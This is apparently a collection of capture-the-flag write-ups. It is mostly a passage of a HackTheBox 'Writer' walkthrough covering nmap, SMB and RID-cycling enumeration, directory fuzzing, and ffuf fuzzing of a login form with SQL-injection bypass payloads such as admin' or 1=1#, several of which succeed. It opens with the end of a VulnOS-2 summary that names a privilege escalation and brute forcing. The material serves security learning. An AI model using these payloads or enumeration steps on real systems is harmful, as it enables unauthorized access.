Hope you enjoyed it.

What do you think of A.I.?
```

成功登录并得到了flag

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/vulnhub273.jpg)


#### 知识点总结

 - OpenDocMan 1.2.7 cms sql注入（CVE-2014-1945）
 - Linux内核3.13.0 < 3.19(Ubuntu 12.04/14.04/14.10/15.04)-"overlayfs"本地提权
 - hydra爆破postgresql数据库用户名和密码
 - blender软件查看.blender后缀3d建模文件以寻找root用户ssh密码

<font color="red">Game over</font>

不好意思，这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本，i am so sorry about this...It's a pity...

![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/haha.jpg)

<font color="green">***The end,to be continue...***</font>
<!-- kb:end vulnos-2 -->

</details>

<a id="case-writer"></a>

## UNION 读取与应用命令边界

原文逐列确定 UNION 输出位置，再读取 WSGI/Python 源码并触发处理逻辑。邮件免责声明、进程观察和 APT 提权是后续独立阶段。

<p class="kb-provenance">来源 writer · 原记录 2021-08-06 · 38 个代码块 · 22 处图片引用</p>

<details class="kb-evidence" id="record-writer">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start writer -->

#### introduce

OS: Linux
Difficulty: Medium
Points:	30
Release:	31 Jul 2021
IP:	10.10.11.101

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2046.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### Enumeration
#### Nmap

``` bash
# Nmap 7.91 scan initiated Sun Aug  1 01:58:59 2021 as: nmap -vvv -p 22,80,139,445 -A -v -oN intial.nmap 10.10.11.101
Nmap scan report for 10.10.11.101
Host is up, received syn-ack (0.13s latency).
Scanned at 2021-08-01 01:59:01 EDT for 17s

PORT    STATE SERVICE     REASON  VERSION
22/tcp  open  ssh         syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 98:20:b9:d0:52:1f:4e:10:3a:4a:93:7e:50:bc:b8:7d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwAA7IblnSMXNfqjkkoT+PAk2SPYBRL5gy0K0FQ2XbFGuPk6ImjJLrb0BF6qw3hU/I2V9ARRnn2SvHlz1+lLB0Ie9wkvH1gZfnUBd5X2sOS3vCzYJOBoD+yzJat40YmKx3NLjYCzkMd/KyTGGIH0cdlnROO6eJdnJN1QYMsrM4+QkkrQHtgz5KAk/aE18+1e5toWK1Px+KtVjvPWiD7mTb4J99f79L/5CCI9nUfmjeB8EU9qe3igUQ3zCGVFGUNTA9Vva99kh3SC6YjBe8+9ipFSZFVSqaJoJpZF83Oy2BEPWEb6lgo3cx7FwGH24nT833Y4Urk294/5ym8F3JFxo/FCgtjuYwp5Im1j9oVOGSnECKfC785zZiSu+ubdnxDjvbuRgW34DsKZpbtVvwxs8R/VNE3bSldVLmz5gCwP0Dfaop+Tbn7MW8OJWL6hEQqNiLw3cSBpzPId/EIMO7TMfqVXTfkMtD1yiIlafd3ianGLu+VUpJ3Bg8jk/COUOHj/M=
|   256 10:04:79:7a:29:74:db:28:f9:ff:af:68:df:f1:3f:34 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBD+ZKRtm6JRYjPO1v8n2nR/cGDBj0Oaydm1VE6rUnvyI6bxfnPCaRjvxDrV3eW5rRXbK/ybC0k5WHtQ9iWogmAU=
|   256 77:c4:86:9a:9f:33:4f:da:71:20:2c:e1:51:10:7e:8d (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBaCZ4ALrn0m103XaA+e+YPrTO2f1hK8mAD5kUxJ7O9L
80/tcp  open  http        syn-ack Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: HEAD GET OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn syn-ack Samba smbd 4.6.2
445/tcp open  netbios-ssn syn-ack Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: 5s
| nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   WRITER<00>           Flags: <unique><active>
|   WRITER<03>           Flags: <unique><active>
|   WRITER<20>           Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
| Statistics:
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_  00 00 00 00 00 00 00 00 00 00 00 00 00 00
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 52234/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 36309/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 34246/udp): CLEAN (Failed to receive data)
|   Check 4 (port 42160/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-08-01T05:59:20
|_  start_date: N/A

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug  1 01:59:18 2021 -- 1 IP address (1 host up) scanned in 19.34 seconds
```

Looks like we have SSH,SMB and WEB. So let's start with SMB

#### SMB
#### Enum4linux

``` bash
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Aug  1 02:04:47 2021

 ========================== 
|    Target Information    |
 ========================== 
Target ........... 10.10.11.101
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ==================================================== 
|    Enumerating Workgroup/Domain on 10.10.11.101    |
 ==================================================== 
[+] Got domain/workgroup name: WORKGROUP

 ============================================ 
|    Nbtstat Information for 10.10.11.101    |
 ============================================ 
Looking up status of 10.10.11.101
	WRITER          <00> -         B <ACTIVE>  Workstation Service
	WRITER          <03> -         B <ACTIVE>  Messenger Service
	WRITER          <20> -         B <ACTIVE>  File Server Service
	..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
	WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
	WORKGROUP       <1d> -         B <ACTIVE>  Master Browser
	WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections

	MAC Address = 00-00-00-00-00-00

 ===================================== 
|    Session Check on 10.10.11.101    |
 ===================================== 
[+] Server 10.10.11.101 allows sessions using username '', password ''

 =========================================== 
|    Getting domain SID for 10.10.11.101    |
 =========================================== 
Domain Name: WORKGROUP
Domain Sid: (NULL SID)
[+] Can't determine if host is part of domain or part of a workgroup

 ====================================== 
|    OS information on 10.10.11.101    |
 ====================================== 
[+] Got OS info for 10.10.11.101 from smbclient: 
[+] Got OS info for 10.10.11.101 from srvinfo:
	WRITER         Wk Sv PrQ Unx NT SNT writer server (Samba, Ubuntu)
	platform_id     :	500
	os version      :	6.1
	server type     :	0x809a03

 ============================= 
|    Users on 10.10.11.101    |
 ============================= 
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: kyle	Name: Kyle Travis	Desc: 

user:[kyle] rid:[0x3e8]

 ========================================= 
|    Share Enumeration on 10.10.11.101    |
 ========================================= 

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	writer2_project Disk      
	IPC$            IPC       IPC Service (writer server (Samba, Ubuntu))
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 10.10.11.101
//10.10.11.101/print$	Mapping: DENIED, Listing: N/A
//10.10.11.101/writer2_project	Mapping: DENIED, Listing: N/A
//10.10.11.101/IPC$	[E] Can't understand response:
NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*

 ==================================================== 
|    Password Policy Information for 10.10.11.101    |
 ==================================================== 


[+] Attaching to 10.10.11.101 using a NULL share

[+] Trying protocol 139/SMB...

[+] Found domain(s):

	[+] WRITER
	[+] Builtin

[+] Password Info for Domain: WRITER

	[+] Minimum password length: 5
	[+] Password history length: None
	[+] Maximum password age: 37 days 6 hours 21 minutes 
	[+] Password Complexity Flags: 000000

		[+] Domain Refuse Password Change: 0
		[+] Domain Password Store Cleartext: 0
		[+] Domain Password Lockout Admins: 0
		[+] Domain Password No Clear Change: 0
		[+] Domain Password No Anon Change: 0
		[+] Domain Password Complex: 0

	[+] Minimum password age: None
	[+] Reset Account Lockout Counter: 30 minutes 
	[+] Locked Account Duration: 30 minutes 
	[+] Account Lockout Threshold: None
	[+] Forced Log off Time: 37 days 6 hours 21 minutes 


[+] Retieved partial password policy with rpcclient:

Password Complexity: Disabled
Minimum Password Length: 5


 ============================== 
|    Groups on 10.10.11.101    |
 ============================== 

[+] Getting builtin groups:

[+] Getting builtin group memberships:

[+] Getting local groups:

[+] Getting local group memberships:

[+] Getting domain groups:

[+] Getting domain group memberships:

 ======================================================================= 
|    Users on 10.10.11.101 via RID cycling (RIDS: 500-550,1000-1050)    |
 ======================================================================= 
[I] Found new SID: S-1-22-1
[I] Found new SID: S-1-5-21-1663171886-1921258872-720408159
[I] Found new SID: S-1-5-32
[+] Enumerating users using SID S-1-5-21-1663171886-1921258872-720408159 and logon username '', password ''
S-1-5-21-1663171886-1921258872-720408159-500 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-501 WRITER\nobody (Local User)
S-1-5-21-1663171886-1921258872-720408159-502 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-503 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-504 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-505 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-506 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-507 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-508 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-509 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-510 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-511 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-512 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-513 WRITER\None (Domain Group)
S-1-5-21-1663171886-1921258872-720408159-514 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-515 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-516 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-517 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-518 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-519 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-520 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-521 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-522 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-523 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-524 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-525 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-526 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-527 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-528 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-529 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-530 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-531 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-532 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-533 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-534 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-535 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-536 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-537 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-538 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-539 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-540 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-541 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-542 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-543 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-544 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-545 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-546 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-547 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-548 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-549 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-550 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1000 WRITER\kyle (Local User)
S-1-5-21-1663171886-1921258872-720408159-1001 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1002 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1003 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1004 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1005 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1006 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1007 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1008 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1009 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1010 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1011 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1012 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1013 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1014 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1015 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1016 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1017 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1018 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1019 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1020 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1021 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1022 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1023 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1024 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1025 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1026 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1027 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1028 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1029 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1030 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1031 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1032 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1033 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1034 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1035 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1036 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1037 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1038 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1039 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1040 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1041 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1042 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1043 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1044 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1045 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1046 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1047 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1048 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1049 *unknown*\*unknown* (8)
S-1-5-21-1663171886-1921258872-720408159-1050 *unknown*\*unknown* (8)
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\kyle (Local User)
S-1-22-1-1001 Unix User\john (Local User)
[+] Enumerating users using SID S-1-5-32 and logon username '', password ''
S-1-5-32-500 *unknown*\*unknown* (8)
S-1-5-32-501 *unknown*\*unknown* (8)
S-1-5-32-502 *unknown*\*unknown* (8)
S-1-5-32-503 *unknown*\*unknown* (8)
S-1-5-32-504 *unknown*\*unknown* (8)
S-1-5-32-505 *unknown*\*unknown* (8)
S-1-5-32-506 *unknown*\*unknown* (8)
S-1-5-32-507 *unknown*\*unknown* (8)
S-1-5-32-508 *unknown*\*unknown* (8)
S-1-5-32-509 *unknown*\*unknown* (8)
S-1-5-32-510 *unknown*\*unknown* (8)
S-1-5-32-511 *unknown*\*unknown* (8)
S-1-5-32-512 *unknown*\*unknown* (8)
S-1-5-32-513 *unknown*\*unknown* (8)
S-1-5-32-514 *unknown*\*unknown* (8)
S-1-5-32-515 *unknown*\*unknown* (8)
S-1-5-32-516 *unknown*\*unknown* (8)
S-1-5-32-517 *unknown*\*unknown* (8)
S-1-5-32-518 *unknown*\*unknown* (8)
S-1-5-32-519 *unknown*\*unknown* (8)
S-1-5-32-520 *unknown*\*unknown* (8)
S-1-5-32-521 *unknown*\*unknown* (8)
S-1-5-32-522 *unknown*\*unknown* (8)
S-1-5-32-523 *unknown*\*unknown* (8)
S-1-5-32-524 *unknown*\*unknown* (8)
S-1-5-32-525 *unknown*\*unknown* (8)
S-1-5-32-526 *unknown*\*unknown* (8)
S-1-5-32-527 *unknown*\*unknown* (8)
S-1-5-32-528 *unknown*\*unknown* (8)
S-1-5-32-529 *unknown*\*unknown* (8)
S-1-5-32-530 *unknown*\*unknown* (8)
S-1-5-32-531 *unknown*\*unknown* (8)
S-1-5-32-532 *unknown*\*unknown* (8)
S-1-5-32-533 *unknown*\*unknown* (8)
S-1-5-32-534 *unknown*\*unknown* (8)
S-1-5-32-535 *unknown*\*unknown* (8)
S-1-5-32-536 *unknown*\*unknown* (8)
S-1-5-32-537 *unknown*\*unknown* (8)
S-1-5-32-538 *unknown*\*unknown* (8)
S-1-5-32-539 *unknown*\*unknown* (8)
S-1-5-32-540 *unknown*\*unknown* (8)
S-1-5-32-541 *unknown*\*unknown* (8)
S-1-5-32-542 *unknown*\*unknown* (8)
S-1-5-32-543 *unknown*\*unknown* (8)
S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)
S-1-5-32-1000 *unknown*\*unknown* (8)
S-1-5-32-1001 *unknown*\*unknown* (8)
S-1-5-32-1002 *unknown*\*unknown* (8)
S-1-5-32-1003 *unknown*\*unknown* (8)
S-1-5-32-1004 *unknown*\*unknown* (8)
S-1-5-32-1005 *unknown*\*unknown* (8)
S-1-5-32-1006 *unknown*\*unknown* (8)
S-1-5-32-1007 *unknown*\*unknown* (8)
S-1-5-32-1008 *unknown*\*unknown* (8)
S-1-5-32-1009 *unknown*\*unknown* (8)
S-1-5-32-1010 *unknown*\*unknown* (8)
S-1-5-32-1011 *unknown*\*unknown* (8)
S-1-5-32-1012 *unknown*\*unknown* (8)
S-1-5-32-1013 *unknown*\*unknown* (8)
S-1-5-32-1014 *unknown*\*unknown* (8)
S-1-5-32-1015 *unknown*\*unknown* (8)
S-1-5-32-1016 *unknown*\*unknown* (8)
S-1-5-32-1017 *unknown*\*unknown* (8)
S-1-5-32-1018 *unknown*\*unknown* (8)
S-1-5-32-1019 *unknown*\*unknown* (8)
S-1-5-32-1020 *unknown*\*unknown* (8)
S-1-5-32-1021 *unknown*\*unknown* (8)
S-1-5-32-1022 *unknown*\*unknown* (8)
S-1-5-32-1023 *unknown*\*unknown* (8)
S-1-5-32-1024 *unknown*\*unknown* (8)
S-1-5-32-1025 *unknown*\*unknown* (8)
S-1-5-32-1026 *unknown*\*unknown* (8)
S-1-5-32-1027 *unknown*\*unknown* (8)
S-1-5-32-1028 *unknown*\*unknown* (8)
S-1-5-32-1029 *unknown*\*unknown* (8)
S-1-5-32-1030 *unknown*\*unknown* (8)
S-1-5-32-1031 *unknown*\*unknown* (8)
S-1-5-32-1032 *unknown*\*unknown* (8)
S-1-5-32-1033 *unknown*\*unknown* (8)
S-1-5-32-1034 *unknown*\*unknown* (8)
S-1-5-32-1035 *unknown*\*unknown* (8)
S-1-5-32-1036 *unknown*\*unknown* (8)
S-1-5-32-1037 *unknown*\*unknown* (8)
S-1-5-32-1038 *unknown*\*unknown* (8)
S-1-5-32-1039 *unknown*\*unknown* (8)
S-1-5-32-1040 *unknown*\*unknown* (8)
S-1-5-32-1041 *unknown*\*unknown* (8)
S-1-5-32-1042 *unknown*\*unknown* (8)
S-1-5-32-1043 *unknown*\*unknown* (8)
S-1-5-32-1044 *unknown*\*unknown* (8)
S-1-5-32-1045 *unknown*\*unknown* (8)
S-1-5-32-1046 *unknown*\*unknown* (8)
S-1-5-32-1047 *unknown*\*unknown* (8)
S-1-5-32-1048 *unknown*\*unknown* (8)
S-1-5-32-1049 *unknown*\*unknown* (8)
S-1-5-32-1050 *unknown*\*unknown* (8)

 ============================================= 
|    Getting printer info for 10.10.11.101    |
 ============================================= 
No printers returned.


enum4linux complete on Sun Aug  1 02:15:46 2021
```

We have tons of information.
Especially the username using RID Cycling So let's create a user.txt

``` bash
┌──(root💀kali)-[~/hackthebox/machine/writer]
└─# cat user.txt 
kyle
john
nobody
```

#### smbmap

``` bash
kali@kali:~/HackTheBox/Writer$ smbmap -u '' -p '' -R -H 10.10.11.101
[+] IP: 10.10.11.101:445        Name: 10.10.11.101                                      
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        print$                                                  NO ACCESS       Printer Drivers
        writer2_project                                         NO ACCESS
        IPC$                                                    NO ACCESS       IPC Service (writer server (Samba, Ubuntu))
```

Looks like annoymous login is no good as we can read any shares.

#### WEB
#### Visiting Website

Visiting the website it looks like a normal blog website

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2047.jpg)

At the Bottom you can see a refference to writer.htb so let's add it in /etc/hosts probably this is not required but it's better to be safe.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2048.jpg)

#### Directory Fuzzing

``` bash
kali@kali:~/HackTheBox/Writer$ ffuf -u http://10.10.11.101/FUZZ -w /usr/share/wordlists/dirb/big.txt -t 200 -c

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.0 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.101/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

about                   [Status: 200, Size: 3522, Words: 250, Lines: 75]
administrative          [Status: 200, Size: 1443, Words: 185, Lines: 35]
contact                 [Status: 200, Size: 4899, Words: 242, Lines: 110]
dashboard               [Status: 302, Size: 208, Words: 21, Lines: 4]
logout                  [Status: 302, Size: 208, Words: 21, Lines: 4]
server-status           [Status: 403, Size: 277, Words: 20, Lines: 10]
static                  [Status: 301, Size: 313, Words: 20, Lines: 10]
:: Progress: [20469/20469] :: Job [1/1] :: 790 req/sec :: Duration: [0:00:28] :: Errors: 0 ::
```

Looks like we have few intresting directories.
let's first visit administrative.

#### Crawling through the directories

Looks like a normal login page.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb2049.jpg)

/dashboard redirects to the homepage and /about has nothing intresting.
/contact has the form looks like a dead form which requests with the get request but give 404 response.

So the only good enpoint is the /administrative
we have the user so we can spray the password but before that let's see if it has any sql injections.

#### Sql-Injection

so I tried doing some basic sqlinjection payload at the login form.

``` bash
kali@kali:~/HackTheBox/Writer$ cat r.txt 
POST /administrative HTTP/1.1
Host: writer.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: http://writer.htb
Connection: close
Referer: http://writer.htb/administrative
Upgrade-Insecure-Requests: 1

uname=UNAME&password=PASS
```

The above request is captured by the burpsuite and UNAME and PASS are the names of the values to be fuzzed.

``` bash
kali@kali:~/HackTheBox/Writer$ ffuf -X POST -request r.txt -w /usr/share/seclists/Fuzzing/SQLi/Login-Bypass.txt:UNAME -w /usr/share/seclists/Fuzzing/SQLi/Login-Bypass.txt:PASS -t 200 -c -mode pitchfork -mc all -request-proto http -fs 790
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.0 Kali Exclusive <3
________________________________________________
 :: Method           : POST
 :: URL              : http://writer.htb/administrative
 :: Wordlist         : UNAME: /usr/share/seclists/Fuzzing/SQLi/Login-Bypass.txt
 :: Wordlist         : PASS: /usr/share/seclists/Fuzzing/SQLi/Login-Bypass.txt
 :: Header           : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
 :: Header           : Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 :: Header           : Accept-Encoding: gzip, deflate
 :: Header           : Content-Type: application/x-www-form-urlencoded
 :: Header           : Referer: http://writer.htb/administrative
 :: Header           : Host: writer.htb
 :: Header           : Origin: http://writer.htb
 :: Header           : Connection: close
 :: Header           : Upgrade-Insecure-Requests: 1
 :: Header           : Accept-Language: en-US,en;q=0.5
 :: Data             : uname=UNAME&password=PASS

 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 200
 :: Matcher          : Response status: all
 :: Filter           : Response size: 790
________________________________________________


[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * PASS: 'or 1=1 or ''='

[2K    * UNAME: 'or 1=1 or ''='

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: admin' or 1=1#

[2K    * PASS: admin' or 1=1#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: admin' #

[2K    * PASS: admin' #

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: ' or 0=0 #

[2K    * PASS: ' or 0=0 #

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * PASS: admin' or '1'='1'#

[2K    * UNAME: admin' or '1'='1'#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: ' or 1=1;#

[2K    * PASS: ' or 1=1;#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: ' or         0=0 #

[2K    * PASS: ' or         0=0 #

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * UNAME: ' or 1=1 LIMIT 1;#

[2K    * PASS: ' or 1=1 LIMIT 1;#

[32m
[2K[Status: 200, Size: 591, Words: 5, Lines: 1][0m

[2K    * PASS: ' or '1'='1'#

[2K    * UNAME: ' or '1'='1'#

[32m
